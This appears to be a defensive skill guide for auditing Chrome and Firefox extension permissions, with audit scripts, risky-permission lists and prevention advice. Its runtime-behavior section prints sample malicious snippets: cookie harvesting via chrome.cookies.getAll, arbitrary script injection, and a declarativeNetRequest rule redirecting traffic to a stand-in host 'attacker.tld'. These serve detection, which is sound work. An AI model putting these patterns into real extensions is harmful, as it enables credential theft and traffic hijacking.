Browser Extension Permission Audit

Browser Extension Permission Audit

A skill for analyzing browser extension permissions and identifying security vulnerabilities in Chrome/Firefox extensions.

When to Use This Skill

Use this skill when:

• Analyzing a browser extension's manifest.json file
• Investigating potentially malicious extensions
• Pentesting browser extensions for security vulnerabilities
• Reviewing extension permissions for compliance
• Auditing extensions for excessive privilege requests
• Investigating extension-based attacks or data exfiltration

Quick Start

# Analyze a manifest.json file
python scripts/analyze_manifest.py path/to/manifest.json

# Check for dangerous permission combinations
python scripts/check_risky_permissions.py path/to/manifest.json

Understanding Extension Permissions

permissions vs host_permissions

permissions - Controls access to privileged browser APIs:

• storage - Persistent key-value storage (can't be cleared without uninstalling)
• cookies - Access to all browser cookies (credential theft risk)
• tabs - Tab management and monitoring
• history - Full browsing history access
• bookmarks - Read all bookmarks
• clipboard - Monitor clipboard for passwords
• geolocation - Track user location
• webRequest - Intercept and modify network requests
• scripting - Execute arbitrary code in pages
• declarativeNetRequest - Block/redirect traffic

host_permissions - Controls which origins APIs can access:

• "*://*/*" or "<all_urls>" - Access to ALL websites (extremely dangerous)
• "http://*/*", "https://*/*" - Same as above
• Specific patterns like "https://example.com/*" - Limited scope

Critical Permission Combinations

Audit Workflow

Step 1: Extract and Parse Manifest

# If you have the extension package
unzip extension.crx -d extension/
cat extension/manifest.json | python scripts/analyze_manifest.py -

Step 2: Identify Risky Permissions

Run the permission checker:

python scripts/check_risky_permissions.py manifest.json

This will flag:

• Overly broad host_permissions
• Dangerous API combinations
• MV3-specific risks (declarativeNetRequestWithHostAccess)
• Implicit privilege abuse patterns

Step 3: Analyze Runtime Behavior

Check for these abuse patterns:

Cookie Theft:

// Look for this pattern in background scripts
chrome.cookies.getAll({}, function(cookies) {
  // Exfiltration attempt
});

Dynamic Script Injection:

// Dangerous: arbitrary code execution
chrome.tabs.executeScript(tabId, {code: maliciousCode});
chrome.scripting.executeScript({func: maliciousFunc});

Traffic Hijacking:

// MV3 rule injection
chrome.declarativeNetRequest.updateDynamicRules({
  addRules: [{
    action: { type: "redirect", redirect: { url: "https://attacker.tld" } }
  }]
});

Step 4: Check for Supply Chain Risks

• Verify extension signature and publisher
• Check update history for sudden permission changes
• Look for declarativeNetRequestWithHostAccess (weaker install prompt)
• Review Web Store API key usage patterns

Common Abuse Patterns

1. Supply-Chain Trojanized Updates

• Stolen developer accounts push MV3 updates
• Add <all_urls> + declarativeNetRequest/scripting
• Inject remote JS to siphon headers/DOM content

2. Wallet Drains

• Host access + storage + tabs
• Backdoored wallet extensions exfiltrate seeds
• Stolen Web Store API keys ship malicious builds

3. Cookie Theft

• cookies + broad host access
• Reads auth cookies despite HttpOnly
• Treat as credential-stealing capable

4. Implicit Privilege Abuse

• tabs.create() - Bypass popup blockers, create unlimited tabs
• tabs.update() - Modify existing tabs, load ads
• data: URIs in Chrome - Phishing attacks
• Webcam/microphone - One-time prompt, then always-on access

Prevention Recommendations

For Users

1. Review permissions before installing extensions
2. Use activeTab permission when possible (user-initiated only)
3. Check extension permissions regularly in browser settings
4. Remove unused extensions immediately
5. Be wary of extensions requesting <all_urls>

For Developers

1. Request minimum necessary permissions
2. Use activeTab for user-initiated actions
3. Avoid host_permissions when possible
4. Implement runtime permission requests for optional features
5. Follow Google's policy: no excessive privileges

For Security Teams

1. Monitor extension update patterns
2. Check for sudden permission escalations
3. Audit declarativeNetRequest rules
4. Review chrome://extensions/?errors for hidden issues
5. Test with chrome://extensions/?id=<id> for developer mode

Reference Commands

# Chrome extension inspection
chrome://extensions/?id=<extension-id>
chrome://extensions/?errors

# Firefox extension inspection
about:debugging#/runtime/this-firefox

# View extension permissions
chrome://extensions/ (click extension → Details)

Scripts

analyze_manifest.py

Analyzes manifest.json and reports permission risks.

check_risky_permissions.py

Checks for dangerous permission combinations and abuse patterns.

References

• Impact of Extension Privileges
• Chrome Extension Security Testing
• Malicious Browser Extensions Feb 2025
• Manifest V3 Transition
• Chrome Permissions Reference
• Firefox Permissions Reference